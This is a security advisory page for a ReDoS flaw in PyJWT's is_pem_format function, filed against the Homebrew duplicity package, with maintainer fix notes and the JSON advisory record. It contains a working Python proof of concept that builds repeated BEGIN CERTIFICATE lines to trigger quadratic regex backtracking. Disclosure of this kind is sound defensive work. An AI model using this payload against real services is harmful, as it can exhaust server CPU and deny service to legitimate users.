BREW-DUPLICITY-CVE-2026-102270 (GHSA-JWRC-G2Q2-PQ5P)
Vulnerability from osv_homebrew – Published: 2026-09-30 18:43 – Updated: 2026-09-30 18:43 – Source websiteSummary
There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.
Details
The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).
PoC
import time
import re
BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"
_PEMS = {
b"CERTIFICATE",
b"TRUSTED CERTIFICATE",
b"PRIVATE KEY",
b"PUBLIC KEY",
b"ENCRYPTED PRIVATE KEY",
b"OPENSSH PRIVATE KEY",
b"DSA PRIVATE KEY",
b"RSA PRIVATE KEY",
b"RSA PUBLIC KEY",
b"EC PRIVATE KEY",
b"DH PARAMETERS",
b"NEW CERTIFICATE REQUEST",
b"CERTIFICATE REQUEST",
b"SSH2 PUBLIC KEY",
b"SSH2 ENCRYPTED PRIVATE KEY",
b"X509 CRL",
}
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
re.DOTALL,
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
def make_payload(num_headers: int) -> bytes:
return BEGIN_LINE * num_headers
def measure(num_headers: int) -> float:
payload = make_payload(num_headers)
start = time.perf_counter()
is_pem_format(payload) # returns False, but burns CPU getting there
elapsed = time.perf_counter() - start
print(
f" headers={num_headers:>4} size={len(payload)//1024:>3} KB"
f" time={elapsed*1000:>7.1f} ms"
)
return elapsed
for n in (1000, 2000, 4000, 8000):
measure(n)
Impact
The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.
Maintainer update (2026-09-10):
We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "duplicity",
"purl": "pkg:brew/duplicity"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.19"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "### Summary\nThere is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.\n\n\n### Details\nThe problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a `---- END` line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N\u00b2). \n\n\n### PoC\n```python\nimport time\nimport re\n\n\nBEGIN_LINE = b\"-----BEGIN CERTIFICATE-----\\n\"\n\n_PEMS = {\n b\"CERTIFICATE\",\n b\"TRUSTED CERTIFICATE\",\n b\"PRIVATE KEY\",\n b\"PUBLIC KEY\",\n b\"ENCRYPTED PRIVATE KEY\",\n b\"OPENSSH PRIVATE KEY\",\n b\"DSA PRIVATE KEY\",\n b\"RSA PRIVATE KEY\",\n b\"RSA PUBLIC KEY\",\n b\"EC PRIVATE KEY\",\n b\"DH PARAMETERS\",\n b\"NEW CERTIFICATE REQUEST\",\n b\"CERTIFICATE REQUEST\",\n b\"SSH2 PUBLIC KEY\",\n b\"SSH2 ENCRYPTED PRIVATE KEY\",\n b\"X509 CRL\",\n}\n\n_PEM_RE = re.compile(\n b\"----[- ]BEGIN (\"\n + b\"|\".join(_PEMS)\n + b\"\"\")[- ]----\\r?\n.+?\\r?\n----[- ]END \\\\1[- ]----\\r?\\n?\"\"\",\n re.DOTALL,\n)\n\n\ndef is_pem_format(key: bytes) -\u003e bool:\n return bool(_PEM_RE.search(key))\n\n\ndef make_payload(num_headers: int) -\u003e bytes:\n return BEGIN_LINE * num_headers\n\n\ndef measure(num_headers: int) -\u003e float:\n payload = make_payload(num_headers)\n start = time.perf_counter()\n is_pem_format(payload) # returns False, but burns CPU getting there\n elapsed = time.perf_counter() - start\n print(\n f\" headers={num_headers:\u003e4} size={len(payload)//1024:\u003e3} KB\"\n f\" time={elapsed*1000:\u003e7.1f} ms\"\n )\n return elapsed\n\n\nfor n in (1000, 2000, 4000, 8000):\n measure(n)\n```\n\n### Impact\nThe attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.\n\n\n### Maintainer update (2026-09-10): \nWe reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT\u2019s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.",
"id": "BREW-duplicity-CVE-2026-102270",
"modified": "2026-09-30T18:43:16Z",
"published": "2026-09-30T18:43:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102270"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.",
"upstream": [
"GHSA-jwrc-g2q2-pq5p",
"CVE-2026-102270"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.